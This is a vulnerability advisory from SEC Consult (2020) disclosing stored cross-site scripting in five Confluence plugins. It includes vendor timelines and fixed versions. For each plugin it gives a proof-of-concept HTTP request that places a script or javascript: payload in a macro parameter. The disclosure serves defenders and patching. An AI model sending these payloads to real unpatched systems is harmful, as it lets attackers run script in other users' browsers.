SEC Consult Vulnerability Lab Security Advisory < 20201008-0 > ======================================================================= title: Multiple Cross-Site Scripting Vulnerabilities products: PlantUML, Refined Toolkit for Confluence, Linking for Confluence, Countdown Timer, Server Status vulnerable versions: PlantUML: 6.43, Refined Toolkit for Confluence: 2.2.5, Linking for Confluence: 5.5.3, Countdown Timer: 1.7.0, Server Status: 1.2.1 fixed version: PlantUML: 6.44, Refined Toolkit for Confluence: 2.2.7, Linking for Confluence: 5.5.7, Countdown Timer: 1.7.1, Server Status: 1.2.2 impact: Medium homepage: PlantUML: https://marketplace.atlassian.com/apps/41025/plantuml-for-confluence Refined Toolkit for Confluence: https://marketplace.atlassian.com/apps/1211136/refined-toolkit-for-confluence Linking for Confluence: https://marketplace.atlassian.com/apps/166/linking-for-confluence Countdown Timer: https://marketplace.atlassian.com/apps/1211116/countdown-timer Server Status: https://marketplace.atlassian.com/apps/1212916/server-status found: 2020-08-12 by: Daniel Teuchert (Office Bochum), Roman Ferdigg (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor & Product description: ------------------- PlantUML "Macros to add various UML diagrams and other diagrams" Vendor: https://www.avono.de Refined Toolkit for Confluence "Improve Confluence Pages with Handy UI Tools" Vendor: https://www.refined.com Linking for Confluence "Enable one-click links to access Confluence templates, aggregate resources, and create structured content" Vendor: https://www.servicerocket.com Countdown Timer "Countdown widget for Confluence" Vendor: www.akeles.com Server Status "A collection of some server status tools for confluence" Vendor: https://aptis-solutions.com Business recommendation: ------------------------ Update to the latest versions of the plugins. An in-depth security analysis performed by security professionals is highly advised, as the plugins may be affected from further security issues. Vulnerability overview/description: ----------------------------------- 1) PlantUML - Stored Cross-Site Scripting The Database Information macro is a component of PlantUML and can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability. 2) Refined Toolkit for Confluence - Stored Cross-Site Scripting The elements UI-Image and UI-Button can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability. 3) Linking for Confluence - Stored Cross-Site Scripting The Link in New Windows macro can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability. 4) Countdown Timer - Stored Cross-Site Scripting The Countdown Timer macro can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability. 5) Server Status - Stored Cross-Site Scripting The two macros HTTP Status and SMTP Status can be used to inject JavaScript code into Confluence pages, leading to a stored cross site scripting vulnerability. Proof of concept: ----------------- 1) PlantUML - Stored Cross-Site Scripting In the component Database Information a data source can be configured through the parameter "datasources". This parameter allows an attacker to inject a JavaScript code. The code is executed when a user visits the page where the macro is used. Below is the example on how the XSS issue can be exploited: POST /rest/tinymce/1/macro/placeholder HTTP/1.1 Host: confluence:8090 [...] Referer: http://confluence:8090/pages/resumedraft.action?draftId=65623&draftShareId=ebaa1df3-0bb2-476f-9e83-560e87bdd9a5& {"contentId":"65622","macro":{"name":"database-info","params":{"datasources":"<script>alert(document.domain)</script>","attributes":"sdfdsf"},"body":""}} 2) Refined Toolkit for Confluence - Stored Cross-Site Scripting In the two components UI-Image and UI-Button the parameter "url" allows an attacker to inject a JavaScript code. This code is executed when a user clicks on the created image/button on the Confluence page. The following request demonstrates the creation of such an UI-Image macro: POST /rest/tinymce/1/macro/placeholder HTTP/1.1 Host: confluence:8090 [...] Referer: http://confluence:8090/pages/resumedraft.action?draftId=65609&draftShareId=d0b7c806-ec40-4f56-8bdf-bd19474e8073& {"contentId":"65603","macro":{"name":"ui-image","params":{"imageUrl":"test","linkUrl":"javascript:alert(document.domain)"},"body":""}} 3) Linking for Confluence - Stored Cross-Site Scripting The parameter "href" in the Link in New Window macro allows an attacker to inject a JavaScript code. This code is executed when a user clicks on the created Link on the Confluence page. The following request demonstrates the creation of such a link: POST /rest/tinymce/1/macro/placeholder HTTP/1.1 Host: confluence:8090 [...] Referer: http://confluence:8090/pages/resumedraft.action?draftId=65609&draftShareId=d0b7c806-ec40-4f56-8bdf-bd19474e8073& {"contentId":"65603","macro":{"name":"link-window","params":{"href":"javascript:alert(document.domain)","linkText":"click here"},"body":""}} 4) Countdown Timer - Stored Cross-Site Scripting In the Countdown Timer plugin it is possible to set a countdown date through the parameter "countdowndate". This parameter allows an attacker to inject a JavaScript code. The code is executed when a user visits the page where the plugin is used. Below is the example on how the XSS issue can be exploited: POST /rest/tinymce/1/macro/placeholder HTTP/1.1 Host: confluence:8090 [...] Referer: http://confluence:8090/pages/resumedraft.action?draftId=65627&draftShareId=de758257-a056-479e-9e6a-eccdede26003& {"contentId":"65626","macro":{"name":"countdown","params":{"countdowndate":"<script>alert(document.domain)</script>"},"body":""}} 5) Server Status - Stored Cross-Site Scripting In the two components HTTP Status and SMTP status it is possible to set a text through the parameter "displayText". This parameter allows an attacker to inject a JavaScript code. The code is executed when a user visits the page where the plugin is used. Below is the example on how the XSS issue can be exploited: POST /rest/tinymce/1/macro/placeholder HTTP/1.1 Host: confluence:8090 [...] Referer: http://confluence:8090/pages/resumedraft.action?draftId=65619&draftShareId=efc17088-e2b6-4c29-9f0b-8ee90b4c03b7& {"contentId":"65618","macro":{"name":"server-status-http-request","params":{"url":"http://test.com","displayText":"<script>alert(document.domain)</script>","theme":"Color"},"body":""}} Vulnerable / tested versions: ----------------------------- The following versions of the plugins have been tested, which were the latest versions available at the time of the test. PlantUML was tested in version 6.43. Refined Toolkit for Confluence was tested in version 2.2.5. Linking for Confluence was tested in version 5.5.3. Countdown Timer was tested in version 1.7.0. Server Status was tested in version 1.2.1. It is assumed earlier versions of the plugins are also vulnerable to the issues. Vendor contact timeline: ------------------------ PlantUML 2020-08-19: Contacting avono AG (PlantUML) through [email protected] 2020-08-21: Vendor supplies PGP key for security contact 2020-08-21: Sending the details of the vulnerability 2020-08-25: Vendor releases fixed version 6.44 2020-10-08: Public release of the security advisory Refined Toolkit for Confluence 2020-08-19: Contacting vendor through [email protected] 2020-08-19: Vendor automatically creates Jira Ticket 2020-08-24: Vendor asks for information about the vulnerability via Jira 2020-08-24: Sending the details of the vulnerability 2020-08-26: Vendor releases fixed version 2.2.7 2020-10-08: Public release of the security advisory Linking for Confluence 2020-08-19: Contacting vendor through [email protected] 2020-08-19: Vendor automatically creates Jira Ticket 2020-08-19: Vendor supplies PGP key for security contact 2020-08-20: Sending the details of the vulnerability 2020-09-20: Vendor releases fixed version 5.5.7 2020-10-08: Public release of the security advisory Countdown Timer 2020-08-19: Contacting Akeles Consulting (Countdown Timer) through [email protected] 2020-08-21: Vendor creates Jira Ticket and asks for information about the vulnerability via Jira 2020-08-21: Sending the details of the vulnerability 2020-09-17: Requesting a status update 2020-09-17: Vendor is working on it and there will be soon a new version 2020-09-22: Vendor was reminded about the latest possible release date 2020-09-28: Vendor will probably release the advisory in CW 40 2020-10-05: Requesting a status update 2020-10-06: Vendor releases fixed version 1.7.1 2020-10-08: Public release of the security advisory Server Status 2020-08-19: Contacting APTIS GmbH (Server Status) through [email protected] 2020-08-31: Sending unencrypted advisory as requested by vendor 2020-08-31: Vendor releases fixed version 1.2.2 2020-10-08: Public release of the security advisory Solution: --------- PlantUML The fixed version 6.44 is available at the Marketplace: https://marketplace.atlassian.com/apps/41025/plantuml-for-confluence?hosting=server&tab=versions Refined Toolkit for Confluence The fixed version 2.2.7 is available at the Marketplace: https://marketplace.atlassian.com/apps/1211136/refined-toolkit-for-confluence?hosting=datacenter&tab=versions Linking for Confluence The fixed version 5.5.7 is available at the Marketplace: https://marketplace.atlassian.com/apps/166/linking-for-confluence?hosting=cloud&tab=versions Countdown Timer The fixed version 1.7.1 is available at the Marketplace: https://marketplace.atlassian.com/apps/1211116/countdown-timer?hosting=server&tab=versions Server Status The fixed version 1.2.2 is available at the Marketplace: https://marketplace.atlassian.com/apps/1212916/server-status?hosting=server&tab=versions Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF D. Teuchert, R. Ferdigg / @2020